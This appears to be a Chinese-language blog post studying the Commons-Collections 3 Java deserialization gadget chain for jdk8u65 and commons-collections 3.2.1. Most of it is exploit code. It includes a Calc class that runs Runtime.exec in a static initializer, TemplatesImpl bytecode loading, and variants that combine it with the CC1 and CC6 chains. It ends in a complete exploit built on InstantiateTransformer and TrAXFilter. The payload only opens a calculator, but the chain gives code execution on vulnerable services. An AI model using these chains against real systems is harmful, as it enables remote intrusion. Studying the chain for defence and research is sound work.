cc3调用链

环境:

  • jdk8u65
  • Commons-Collections 3.2.1

导入maven坐标:

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

TemplatesImpl解析:

在之前写的java中类加载器的过程中,有使用到TemplatesImpl这个类的ClassLoader方法,调用了ClassLoaderdefineClass方法,并且是public,相当于我们可以间接调用。

由于这个_class强转成了AbstractTranslet,因此传入的字节码应该是要继承AbstractTranslet的。

image-20240330152022791

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class Calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class"));
setFiled(templates, "_name", "Calc");
setFiled(templates, "_bytecodes", new byte[][]{bytes});
setFiled(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}

public static void setFiled(TemplatesImpl templates, String filedName, Object value) throws Exception {
Field declaredField = templates.getClass().getDeclaredField(filedName);
declaredField.setAccessible(true);
declaredField.set(templates, value);
}

回顾完TemplatesImpl 正式进去cc3学习。

一般字节码解析的过程是这样的。

image-20240330152321046

首先调用loadClass(),分别调用父类的loadClass看是否存在该类的解析器(双亲委派机制),如果找不到则会调用findClass

对于findClass方法:

  • 需要子类去实现该方法
  • 根据提供的路径或名称去加载.class字节码,最终调用defineClass

image-20240330152747502

TemplatesImpl结合cc1链:

前面的链子一样,但是不调用Runtime类,而是调用自定义的class字节码,然后加载类。

image-20240330153205393

换成ChainedTransformer调用newTransformer方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class"));
setFiled(templates, "_name", "Calc");
setFiled(templates, "_bytecodes", new byte[][]{bytes});
setFiled(templates, "_tfactory", new TransformerFactoryImpl());
// defineClass只是加载类,但不会进行实例化
Transformer[] transformers = {
new ConstantTransformer(templates),
// 然后调用它的newTransformer()方法
new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1);
}

public static void setFiled(TemplatesImpl templates, String filedName, Object value) throws Exception {
Field declaredField = templates.getClass().getDeclaredField(filedName);
declaredField.setAccessible(true);
declaredField.set(templates, value);
}

然后我们把cc1的LazyMap的那条链丢进去,进行序列化即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class"));
setFiled(templates, "_name", "Calc");
setFiled(templates, "_bytecodes", new byte[][]{bytes});
setFiled(templates, "_tfactory", new TransformerFactoryImpl());
// defineClass只是加载类,但不会进行实例化
Transformer[] transformers = {
new ConstantTransformer(templates),
// 然后调用它的newTransformer()方法
new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map decorateMap = LazyMap.decorate(map, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 传入一个动态代理对象,就会调用这个动态代理对象的get方法 --> 这个动态代理对象是我们上面的lazymap
Constructor<?> aClassDeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
aClassDeclaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) aClassDeclaredConstructor.newInstance(Override.class, decorateMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);

// 创建对象
Object aObejct = aClassDeclaredConstructor.newInstance(Target.class, proxyMap);
// 执行反序列化
SerializeUtil.serialize(aObejct);
}

public static void setFiled(TemplatesImpl templates, String filedName, Object value) throws Exception {
Field declaredField = templates.getClass().getDeclaredField(filedName);
declaredField.setAccessible(true);
declaredField.set(templates, value);
}

TemplatesImpl结合cc6链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class"));
setFiled(templates, "_name", "Calc");
setFiled(templates, "_bytecodes", new byte[][]{bytes});
setFiled(templates, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = {
new ConstantTransformer(templates),
// 然后调用它的newTransformer()方法
new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{})
};
ChainedTransformer factory = new ChainedTransformer(transformers);

// 调用TideMap
HashMap<Object, Object> hashMap = new HashMap<>();

// 这里随便传入一个数据
Map lazyMap = LazyMap.decorate(hashMap,new ConstantTransformer("asd"));

HashMap<Object, Object> expHashMap = new HashMap<>();
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");

// 这里才是执行完整的链路 就会根据key调用hash-->hashCode-->getValue
expHashMap.put(tiedMapEntry, 0);

lazyMap.remove("key");

// 这里可以理解为序列化结束了 我们修改这个LazyMap的值 反序列化的时候会调用
Class<LazyMap> lazyMapClass = LazyMap.class;
// 修改字段的值
Field factoryFiled = lazyMapClass.getDeclaredField("factory");
factoryFiled.setAccessible(true);
// 修改成原本的factory
factoryFiled.set(lazyMap,factory);

// 序列化
SerializeUtil.serialize(expHashMap);
SerializeUtil.unSerialize();
}

public static void setFiled(TemplatesImpl templates, String filedName, Object value) throws Exception {
Field declaredField = templates.getClass().getDeclaredField(filedName);
declaredField.setAccessible(true);
declaredField.set(templates, value);
}

正经,原味cc3:

查看newTransformer方法,谁调用了发现好几个

image-20240330162735851

存在几个类调用这个newTransformer方法,但是我们主要用TrAXFilter

Process:在_main中,一般不会调用吧。

getOutProperties:是反射调用的方法,可能在fastjson漏洞里面会调用到。

TransformerFactoryImpl :这个没有点搞头,因为它不能序列化,构造函数传参有点难。

TrAXFilter:也是不能序列化的。但是构造函数传参容易。

这调用了Templates形参的newTransformer,其他的都是静态成员的值。

image-20240330163758508

CC3调用链不再依赖InvokerTransformer,而是换了一个类InstantiateTransformer

这个类是可以序列化的:

image-20240330164320127

查看transform方法,主要逻辑判断传入是否是Class类型,如果是的是则调用该Class的构造方法,并且创建了一个实例。

image-20240330164424946

所以我们的思路是使用这个调用InstantiateTransformer的构造函数,形参传入的是Templates,就会调用newTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class"));
setFiled(templates, "_name", "Calc");
setFiled(templates, "_bytecodes", new byte[][]{bytes});
setFiled(templates, "_tfactory", new TransformerFactoryImpl());

// 调用TrAXFilter的构造方法 传入templates 就会调用templates.newTransformer
// 相当于
// Class<TrAXFilter> trAXFilterClass = TrAXFilter.class;
// Constructor<TrAXFilter> constructor =trAXFilterClass.getConstructor(Templates.class);
// TrAXFilter trAXFilter = constructor.newInstance(templates);
// iParamTypes 就是 Templates.class
// iArgs 就是 templates
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
}

public static void setFiled(TemplatesImpl templates, String filedName, Object value) throws Exception {
Field declaredField = templates.getClass().getDeclaredField(filedName);
declaredField.setAccessible(true);
declaredField.set(templates, value);
}

后续就很简单的,调用transform方法,因此使用cc1后半段的链即可。

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Language\\Java\\java_code\\Security\\serialize\\cc3\\target\\classes\\Calc.class"));
setFiled(templates, "_name", "Calc");
setFiled(templates, "_bytecodes", new byte[][]{bytes});
setFiled(templates, "_tfactory", new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};

// 后续就调用transform
HashMap<Object, Object> map = new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map decorateMap = LazyMap.decorate(map, chainedTransformer);


Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 传入一个动态代理对象,就会调用这个动态代理对象的get方法 --> 这个动态代理对象是我们上面的lazymap
Constructor<?> aClassDeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
aClassDeclaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) aClassDeclaredConstructor.newInstance(Override.class, decorateMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);

// 创建对象
Object aObejct = aClassDeclaredConstructor.newInstance(Target.class, proxyMap);
// 执行反序列化
// SerializeUtil.serialize(aObejct);
SerializeUtil.unSerialize();
}

public static void setFiled(TemplatesImpl templates, String filedName, Object value) throws Exception {
Field declaredField = templates.getClass().getDeclaredField(filedName);
declaredField.setAccessible(true);
declaredField.set(templates, value);
}

cc3调用链
https://pow1e.github.io/2024/05/28/漏洞中间件复现/cc链/cc3调用链/
作者
pow1e
发布于
2024年5月28日
许可协议